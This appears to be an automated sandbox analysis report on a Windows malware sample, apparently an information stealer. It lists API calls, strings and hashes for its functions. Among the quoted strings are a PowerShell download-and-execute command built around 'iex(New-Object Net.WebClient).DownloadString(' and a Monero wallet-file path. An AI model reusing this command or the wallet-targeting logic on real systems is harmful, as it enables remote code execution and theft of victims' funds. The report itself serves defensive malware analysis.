Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 4e399b7b5e2fae38d5539098cf7d36e233ceb545744ab1aa2412fc8f7c643289
Instruction ID: acb9767d3e5abf2b5e029b8faebfb547a12015ade630fefdf7fa9858263db58f
Opcode Fuzzy Hash: 4e399b7b5e2fae38d5539098cf7d36e233ceb545744ab1aa2412fc8f7c643289
Instruction Fuzzy Hash: BFF05E34908209EFE3449FE1E90972CBB70FB08703F04019AE609872A0DA785F41EB96

Function 00944FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00944FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00944FD1
InternetOpenA.WININET(00960DDF,00000000,00000000,00000000,00000000), ref: 00944FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00945011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00945041
InternetCloseHandle.WININET(?), ref: 009450B9
InternetCloseHandle.WININET(?), ref: 009450C6

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3ec19255a353ece7e537f118e6e0056689388b5aa72c1d4908c14d1e3cc5144e
Instruction ID: 4e426964d76d5ead6e82a1d49c6445e04dff0d161d6fd49914a3f2a26059cba6
Opcode Fuzzy Hash: 3ec19255a353ece7e537f118e6e0056689388b5aa72c1d4908c14d1e3cc5144e
Instruction Fuzzy Hash: B33106B4A00218ABDB20CF94DC85BDDB7B4EB48704F5081D9EB09A7291DB746E85CF99

Function 00958100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,015EDB20,00000000,?,00960E2C,00000000,?,00000000), ref: 00958130
RtlAllocateHeap.NTDLL(00000000), ref: 00958137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00958158
wsprintfA.USER32 ref: 009581AC

Strings

@, xrefs: 0095814D
%d MB, xrefs: 009581A3

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 26a46ecce49cee3d3e81fc5e7fe1be2d8667a5fae2427e1a9a5d8ca3362e2d83
Instruction ID: c85054cc9061724b37bddece771a34dac937c4e59322acaff86ab6c538a0914d
Opcode Fuzzy Hash: 26a46ecce49cee3d3e81fc5e7fe1be2d8667a5fae2427e1a9a5d8ca3362e2d83
Instruction Fuzzy Hash: 2E212EB1E44218ABEB10DFD5CC49FAFB7B8FB44B15F104509F605BB280DB7859058BA5

Function 009583DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00958426
wsprintfA.USER32 ref: 00958459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0095847B
RegCloseKey.ADVAPI32(00000000), ref: 0095848C
RegCloseKey.ADVAPI32(00000000), ref: 00958499

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

RegQueryValueExA.ADVAPI32(00000000,015EDB50,00000000,000F003F,?,00000400), ref: 009584EC
lstrlen.KERNEL32(?), ref: 00958501
RegQueryValueExA.ADVAPI32(00000000,015EDCA0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00960B34), ref: 00958599
RegCloseKey.ADVAPI32(00000000), ref: 00958608
RegCloseKey.ADVAPI32(00000000), ref: 0095861A

Strings

%s\%s, xrefs: 0095844D

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: ac7c45338cf9ee90e58144350067d9abc152e368cad18333dd35747fe5be8cf8
Instruction ID: cee412f3465483a6e982909fcc4bfac39a92aa6511298420ca5609279d29297f
Opcode Fuzzy Hash: ac7c45338cf9ee90e58144350067d9abc152e368cad18333dd35747fe5be8cf8
Instruction Fuzzy Hash: 07211BB19102189BEB24DB54DC85FE9B3B8FB48701F00C5D9E609A7190DF75AA85CFE4

Function 00957690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009576A4
RtlAllocateHeap.NTDLL(00000000), ref: 009576AB
RegOpenKeyExA.ADVAPI32(80000002,015DB7A8,00000000,00020119,00000000), ref: 009576DD
RegQueryValueExA.ADVAPI32(00000000,015EDE08,00000000,00000000,?,000000FF), ref: 009576FE
RegCloseKey.ADVAPI32(00000000), ref: 00957708

Strings

Windows 11, xrefs: 009576BD

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: f432a3ee74bab800d78637fd3a8a2cb13f1e9045fb69fce16e9af016deadd886
Instruction ID: 488c5aa5f6a8493d79c3f246e6c9d290610a2f861bb1bd4a581d494b0af3f713
Opcode Fuzzy Hash: f432a3ee74bab800d78637fd3a8a2cb13f1e9045fb69fce16e9af016deadd886
Instruction Fuzzy Hash: 91014FB5A04304BBEB00DBE5EC49F6AB7BCEB48701F104455FE04972A0EA749A04CB61

Function 00957720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00957734
RtlAllocateHeap.NTDLL(00000000), ref: 0095773B
RegOpenKeyExA.ADVAPI32(80000002,015DB7A8,00000000,00020119,009576B9), ref: 0095775B
RegQueryValueExA.ADVAPI32(009576B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0095777A
RegCloseKey.ADVAPI32(009576B9), ref: 00957784

Strings

CurrentBuildNumber, xrefs: 00957771

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 7616cc022dca427d8fd97e1a8e2f7054dad8cb83f6d2fbff320e7468c21437ea
Instruction ID: f1a499277e3072dd450651bea3495f1d5e4ed5786531fb386c1ba75d4ffbf6a9
Opcode Fuzzy Hash: 7616cc022dca427d8fd97e1a8e2f7054dad8cb83f6d2fbff320e7468c21437ea
Instruction Fuzzy Hash: 2A0117B9A40308BBE700DBE4DC49FAEB7B8EB48705F104555FA05A7291DA745A04CB61

Function 009499C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009499EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00949A11
LocalAlloc.KERNEL32(00000040,?), ref: 00949A31
ReadFile.KERNEL32(000000FF,?,00000000,0094148F,00000000), ref: 00949A5A
LocalFree.KERNEL32(0094148F), ref: 00949A90
CloseHandle.KERNEL32(000000FF), ref: 00949A9A

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 8072e2c8defae77b3cac3b5ea810d88338b108485bf4024978a4381feba364e7
Instruction ID: bbf619b944364765def30f9c11d6147a5dca2a28490d4112520359f5671771c8
Opcode Fuzzy Hash: 8072e2c8defae77b3cac3b5ea810d88338b108485bf4024978a4381feba364e7
Instruction Fuzzy Hash: A2312BB4A00209EFDF14CF94C985FAE77B9FF48341F108159E911A72A0DB78AA41CFA1

Function 00954780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,015EDE68), ref: 009547DB

Part of subcall function 00958DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00958E0B

lstrcat.KERNEL32(?,00000000), ref: 00954801
lstrcat.KERNEL32(?,?), ref: 00954820
lstrcat.KERNEL32(?,?), ref: 00954834
lstrcat.KERNEL32(?,015DB1A8), ref: 00954847
lstrcat.KERNEL32(?,?), ref: 0095485B
lstrcat.KERNEL32(?,015ED038), ref: 0095486F

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 00958D90: GetFileAttributesA.KERNEL32(00000000,?,00941B54,?,?,0096564C,?,?,00960E1F), ref: 00958D9F

Part of subcall function 00954570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00954580
Part of subcall function 00954570: RtlAllocateHeap.NTDLL(00000000), ref: 00954587
Part of subcall function 00954570: wsprintfA.USER32 ref: 009545A6
Part of subcall function 00954570: FindFirstFileA.KERNEL32(?,?), ref: 009545BD

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 983bf6f25e42a30b1a0d02514fae3bf4067935cd6227c1035233b60aa10df8a6
Instruction ID: a6db1f9bf260ffdc88fdfc4cffcdb503b8ddbcf2e3c3e4549b3ec9d58358368d
Opcode Fuzzy Hash: 983bf6f25e42a30b1a0d02514fae3bf4067935cd6227c1035233b60aa10df8a6
Instruction Fuzzy Hash: BC3164B290020897DB14FBB0DC85FEE737CAB98701F404989B715A7091EE74A78DCBA5

Function 00952C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

ShellExecuteEx.SHELL32(0000003C), ref: 00952D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00952D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00952CC4
<, xrefs: 00952D39
')", xrefs: 00952CB3

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 8071116be20139ea33d522b333c7f76899603bbf38da60a4351f52079f5d7c5a
Instruction ID: 72a6ed190e757eb76af4b02fe1f736549c90268fd2eb4951f56fbde672a24c76
Opcode Fuzzy Hash: 8071116be20139ea33d522b333c7f76899603bbf38da60a4351f52079f5d7c5a
Instruction Fuzzy Hash: 5341BF71C102089ADB14EFA1C892BDDBB78BF94301F404219F916A7191EF746A4ECF99

Function 00949E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00949F41

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00949E67
@, xrefs: 00949EF1
v10, xrefs: 00949EA3
v20, xrefs: 00949E21

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 62faf944703c54f76b1a3b2dfe90e90b70067198c2c7d23e148942d941b51eae
Instruction ID: 7a1206747a8083820e70009e6e43c24797dbb96b28c1f5a649005efa38cd8fec
Opcode Fuzzy Hash: 62faf944703c54f76b1a3b2dfe90e90b70067198c2c7d23e148942d941b51eae
Instruction Fuzzy Hash: 3A615F70A00248DFDB24EFA5CC96FEE7779AF85304F008118F90A5F191EB746A4ACB56

Function 009540B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,015ED1F8,00000000,00020119,?), ref: 009540F4
RegQueryValueExA.ADVAPI32(?,015EDF10,00000000,00000000,00000000,000000FF), ref: 00954118
RegCloseKey.ADVAPI32(?), ref: 00954122
lstrcat.KERNEL32(?,00000000), ref: 00954147
lstrcat.KERNEL32(?,015EDE20), ref: 0095415B

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 2477c6f065ad15c8244c8e51633646b96535fcaefeb28ce8c0b436a5d5517e9f
